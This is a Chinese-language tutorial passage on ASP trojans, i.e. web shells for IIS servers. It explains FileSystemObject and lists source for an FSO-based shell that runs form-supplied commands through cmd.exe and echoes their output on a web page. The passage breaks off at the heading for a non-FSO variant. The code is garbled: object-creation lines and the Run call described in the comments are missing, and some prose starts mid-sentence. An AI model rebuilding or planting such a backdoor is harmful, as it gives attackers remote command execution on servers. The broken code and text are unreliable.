(一)木马核心技术介绍
Asp木马中最核心的技术就是利用脚本创建对象,然后利用cmd.exe命令来执行对文件的创建、删除以及修改等操作。下面就目前较为流行的利用FSO以及不利用FSO技术的木马程序源代码进行介绍。
说明:FSO是对FileSystemObject的简称,IIS4以及后续版本中的ASP的文件操作都可以通过FileSystemObject实现,包括文本文件的读写目录操作、文件的拷贝改名删除等。FileSystemObject带来方便的同时,也具有非常大的风险性,利用FileSystemObject可以篡改并下载Fat以及FAT32分区上的任何文件,即使是ntfs,如果没有对权限进行很好的设置,同样也能遭到破坏。
1.使用FSO技术的asp木马
codepage ="936" %>
<%
Dim oFileSys, oFile
Dim szCMD, szTempFile
On Error Resume Next
szCMD = Request.Form(".CMD")
If (szCMD <> "") Then
szTempFile = "C:" & oFileSys.GetTempName( )
’使用Run方法创建一个新的进程,隐藏窗口并激活另一窗口,返回由应用程序返回的任何错误代码
Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0) ’打开临时文件szTempFile
End If
%>
<%
If (IsObject(oFile)) Then
’ -- Read the output from our command and remove the temp file -- ’
On Error Resume Next
Response.Write Server.HTMLEncode(oFile.ReadAll) ’在网页上输出命令执行的结果
oFile.Close
Call oFileSys.DeleteFile(szTempFile, True) ’删除临时文件szTempFile
End If
%>
来调用常用的delete、copy、dir、net、netstat等一些DOS命令。
其原型为:
cmd.exe /c “dos命令” > “文件名称”
如要查看c盘所有文件并将查看结果输出到viewdrive_c.txt的命令为:
cmd.exe/c dir c: >viewdrive_c.txt
说明:“>”是将命令执行的结果输入到一个文件。“文件名称”中如果没有指定路径则默认保存在当前目录下。
注意:在输入的命令之间要留一个空格。
三个脚本对象,接着执行Dos命令解释器并执行所输入的Dos命令,并将输入其命令的执行结果到一个临时文件(szTempFile),然后打开临时文件并将其结果回显在网页上,最后删除临时文件。运行结果如图1所示。
2.非FSO技术的asp木马